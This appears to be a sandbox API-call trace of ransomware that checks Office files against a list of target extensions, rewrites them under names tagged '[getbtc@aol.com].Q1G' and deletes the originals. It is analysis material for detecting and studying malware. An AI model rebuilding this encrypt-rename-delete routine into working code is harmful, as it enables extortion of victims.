[0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.557] lstrlenW (lpString=".1cd") returned 4 [0263.557] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.557] lstrlenW (lpString=".jpg") returned 4 [0263.557] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.558] lstrlenW (lpString=".doc") returned 4 [0263.558] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.558] lstrlenW (lpString=".docx") returned 5 [0263.558] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.558] lstrlenW (lpString=".pdf") returned 4 [0263.558] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.558] lstrlenW (lpString=".xls") returned 4 [0263.558] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.558] lstrlenW (lpString=".xlsx") returned 5 [0263.558] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.558] lstrlenW (lpString=".ppt") returned 4 [0263.558] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.558] lstrlenW (lpString=".zip") returned 4 [0263.558] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.558] lstrlenW (lpString=".rar") returned 4 [0263.558] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.558] lstrlenW (lpString=".bz2") returned 4 [0263.558] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.558] lstrlenW (lpString=".7z") returned 3 [0263.558] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.558] lstrlenW (lpString=".dbf") returned 4 [0263.558] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.558] lstrlenW (lpString=".1cd") returned 4 [0263.558] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.558] lstrlenW (lpString=".jpg") returned 4 [0263.558] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.558] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.559] lstrlenW (lpString="SECURS.ICO") returned 10 [0263.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.559] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0263.559] CloseHandle (hObject=0x3a0) returned 1 [0263.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico")) returned 0x20 [0263.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.560] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.560] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.560] GetLastError () returned 0x0 [0263.560] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.585] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.586] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.586] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0263.586] SetEndOfFile (hFile=0x37c) returned 1 [0263.586] CloseHandle (hObject=0x37c) returned 1 [0263.587] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.587] SetEndOfFile (hFile=0x3a0) returned 1 [0263.589] CloseHandle (hObject=0x3a0) returned 1 [0263.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico")) returned 1 [0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.590] lstrlenW (lpString=".doc") returned 4 [0263.590] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.590] lstrlenW (lpString=".docx") returned 5 [0263.590] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.590] lstrlenW (lpString=".pdf") returned 4 [0263.590] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.590] lstrlenW (lpString=".xls") returned 4 [0263.590] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.590] lstrlenW (lpString=".xlsx") returned 5 [0263.590] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.590] lstrlenW (lpString=".ppt") returned 4 [0263.590] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.590] lstrlenW (lpString=".zip") returned 4 [0263.590] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.590] lstrlenW (lpString=".rar") returned 4 [0263.590] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.590] lstrlenW (lpString=".bz2") returned 4 [0263.590] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.590] lstrlenW (lpString=".7z") returned 3 [0263.590] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.590] lstrlenW (lpString=".dbf") returned 4 [0263.590] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.590] lstrlenW (lpString=".1cd") returned 4 [0263.590] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.590] lstrlenW (lpString=".jpg") returned 4 [0263.590] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.591] lstrlenW (lpString=".doc") returned 4 [0263.591] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.591] lstrlenW (lpString=".docx") returned 5 [0263.591] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.591] lstrlenW (lpString=".pdf") returned 4 [0263.591] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.591] lstrlenW (lpString=".xls") returned 4 [0263.591] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.591] lstrlenW (lpString=".xlsx") returned 5 [0263.591] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.591] lstrlenW (lpString=".ppt") returned 4 [0263.591] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.591] lstrlenW (lpString=".zip") returned 4 [0263.591] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.591] lstrlenW (lpString=".rar") returned 4 [0263.591] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.591] lstrlenW (lpString=".bz2") returned 4 [0263.591] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.591] lstrlenW (lpString=".7z") returned 3 [0263.591] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.591] lstrlenW (lpString=".dbf") returned 4 [0263.591] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.591] lstrlenW (lpString=".1cd") returned 4 [0263.591] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0263.591] lstrlenW (lpString=".jpg") returned 4 [0263.591] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.591] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.592] lstrlenW (lpString="SHARING.CFG") returned 11 [0263.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.592] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=771) returned 1 [0263.592] CloseHandle (hObject=0x3a0) returned 1 [0263.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg")) returned 0x20 [0263.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.593] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.593] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.593] GetLastError () returned 0x0 [0263.593] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x303, lpOverlapped=0x0) returned 1 [0263.690] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x310, lpOverlapped=0x0) returned 1 [0263.691] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.691] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.691] SetEndOfFile (hFile=0x37c) returned 1 [0263.691] CloseHandle (hObject=0x37c) returned 1 [0263.691] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.691] SetEndOfFile (hFile=0x3a0) returned 1 [0263.694] CloseHandle (hObject=0x3a0) returned 1 [0263.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg")) returned 1 [0263.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.701] lstrlenW (lpString=".doc") returned 4 [0263.701] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.701] lstrlenW (lpString=".docx") returned 5 [0263.701] lstrcmpiW (lpString1=".docx", lpString2="G.CFG") returned -1 [0263.701] lstrlenW (lpString=".pdf") returned 4 [0263.701] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.701] lstrlenW (lpString=".xls") returned 4 [0263.701] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.701] lstrlenW (lpString=".xlsx") returned 5 [0263.701] lstrcmpiW (lpString1=".xlsx", lpString2="G.CFG") returned -1 [0263.701] lstrlenW (lpString=".ppt") returned 4 [0263.701] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.701] lstrlenW (lpString=".zip") returned 4 [0263.701] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.701] lstrlenW (lpString=".rar") returned 4 [0263.701] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.701] lstrlenW (lpString=".bz2") returned 4 [0263.701] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.701] lstrlenW (lpString=".7z") returned 3 [0263.701] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.701] lstrlenW (lpString=".dbf") returned 4 [0263.701] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.701] lstrlenW (lpString=".1cd") returned 4 [0263.701] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.702] lstrlenW (lpString=".jpg") returned 4 [0263.702] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.702] lstrlenW (lpString=".doc") returned 4 [0263.702] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString=".docx") returned 5 [0263.702] lstrcmpiW (lpString1=".docx", lpString2="G.CFG") returned -1 [0263.702] lstrlenW (lpString=".pdf") returned 4 [0263.702] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString=".xls") returned 4 [0263.702] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString=".xlsx") returned 5 [0263.702] lstrcmpiW (lpString1=".xlsx", lpString2="G.CFG") returned -1 [0263.702] lstrlenW (lpString=".ppt") returned 4 [0263.702] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.702] lstrlenW (lpString=".zip") returned 4 [0263.702] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString=".rar") returned 4 [0263.702] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString=".bz2") returned 4 [0263.702] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.702] lstrlenW (lpString=".7z") returned 3 [0263.702] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.702] lstrlenW (lpString=".dbf") returned 4 [0263.702] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.702] lstrlenW (lpString=".1cd") returned 4 [0263.702] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0263.702] lstrlenW (lpString=".jpg") returned 4 [0263.702] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.703] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.703] lstrlenW (lpString="SIGNS.ICO") returned 9 [0263.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.703] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0263.703] CloseHandle (hObject=0x39c) returned 1 [0263.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico")) returned 0x20 [0263.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.704] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.704] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.704] GetLastError () returned 0x0 [0263.704] ReadFile (in: hFile=0x39c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.741] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.742] ReadFile (in: hFile=0x39c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.742] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0263.742] SetEndOfFile (hFile=0x3d8) returned 1 [0263.742] CloseHandle (hObject=0x3d8) returned 1 [0263.742] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.742] SetEndOfFile (hFile=0x39c) returned 1 [0263.744] CloseHandle (hObject=0x39c) returned 1 [0263.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico")) returned 1 [0263.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.745] lstrlenW (lpString=".doc") returned 4 [0263.745] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.745] lstrlenW (lpString=".docx") returned 5 [0263.745] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.745] lstrlenW (lpString=".pdf") returned 4 [0263.745] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.745] lstrlenW (lpString=".xls") returned 4 [0263.745] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.745] lstrlenW (lpString=".xlsx") returned 5 [0263.745] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.745] lstrlenW (lpString=".ppt") returned 4 [0263.745] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.745] lstrlenW (lpString=".zip") returned 4 [0263.745] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.745] lstrlenW (lpString=".rar") returned 4 [0263.745] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.745] lstrlenW (lpString=".bz2") returned 4 [0263.746] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.746] lstrlenW (lpString=".7z") returned 3 [0263.746] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.746] lstrlenW (lpString=".dbf") returned 4 [0263.746] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.746] lstrlenW (lpString=".1cd") returned 4 [0263.746] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.746] lstrlenW (lpString=".jpg") returned 4 [0263.746] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.746] lstrlenW (lpString=".doc") returned 4 [0263.746] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.746] lstrlenW (lpString=".docx") returned 5 [0263.746] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.746] 